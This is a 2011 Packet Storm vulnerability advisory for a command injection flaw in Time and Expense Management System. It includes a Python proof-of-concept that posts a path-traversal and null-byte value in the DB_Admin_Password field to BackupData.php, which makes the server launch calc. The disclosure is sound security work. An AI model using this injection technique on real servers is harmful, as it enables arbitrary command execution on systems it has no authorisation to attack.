Time And Expense Management System Command Injection

2011-05-03T00:00:00
ID PACKETSTORM:101062
Type packetstorm
Reporter AutoSec Tools
Modified 2011-05-03T00:00:00

Description

                                        
                                            `# ------------------------------------------------------------------------  
# Software................Time and Expense Management System  
# Vulnerability...........Command Injection  
# Threat Level............Very Critical (5/5)  
# Download................http://sourceforge.net/projects/tems/  
# Discovery Date..........4/27/2011  
# Tested On...............Windows Vista + XAMPP  
# ------------------------------------------------------------------------  
# Author..................AutoSec Tools  
# Site....................http://www.autosectools.com/  
# Email...................John Leitch <john@autosectools.com>  
# ------------------------------------------------------------------------  
#   
#   
# --Description--  
#   
# A command injection vulnerability in Time and Expense Management  
# System can be exploited to execute arbitrary operating system commands.  
#   
#   
# --PoC--  
  
import socket  
  
host = 'localhost'  
path = '/tems'  
port = 80  
  
def run_command():  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.settimeout(8)  
  
body = '------x\r\n'\  
'Content-Disposition: form-data; name="toFile"\r\n'\  
'\r\n'\  
'./a\r\n'\  
'------x\r\n'\  
'Content-Disposition: form-data; name="DB_Admin_id"\r\n'\  
'\r\n'\  
'a\r\n'\  
'------x\r\n'\  
'Content-Disposition: form-data; name="DB_Admin_Password"\r\n'\  
'\r\n'\  
'../../../../../../../calc\x00a\r\n'\  
'------x--\r\n'\  
'\r\n'  
  
  
s.send('POST %s/systemadmin/BackupData.php HTTP/1.1\r\n'  
'Host: localhost\r\n'  
'Proxy-Connection: keep-alive\r\n'  
'User-Agent: x\r\n'  
'Content-Length: %d\r\n'  
'Cache-Control: max-age=0\r\n'  
'Origin: null\r\n'  
'Content-Type: multipart/form-data; boundary=----x\r\n'  
'Accept: text/html\r\n'  
'Accept-Language: en-US,en;q=0.8\r\n'  
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'  
'\r\n%s' % (path, len(body), body))  
  
print 'request sent, check for calc using the task manger'  
  
run_command()  
`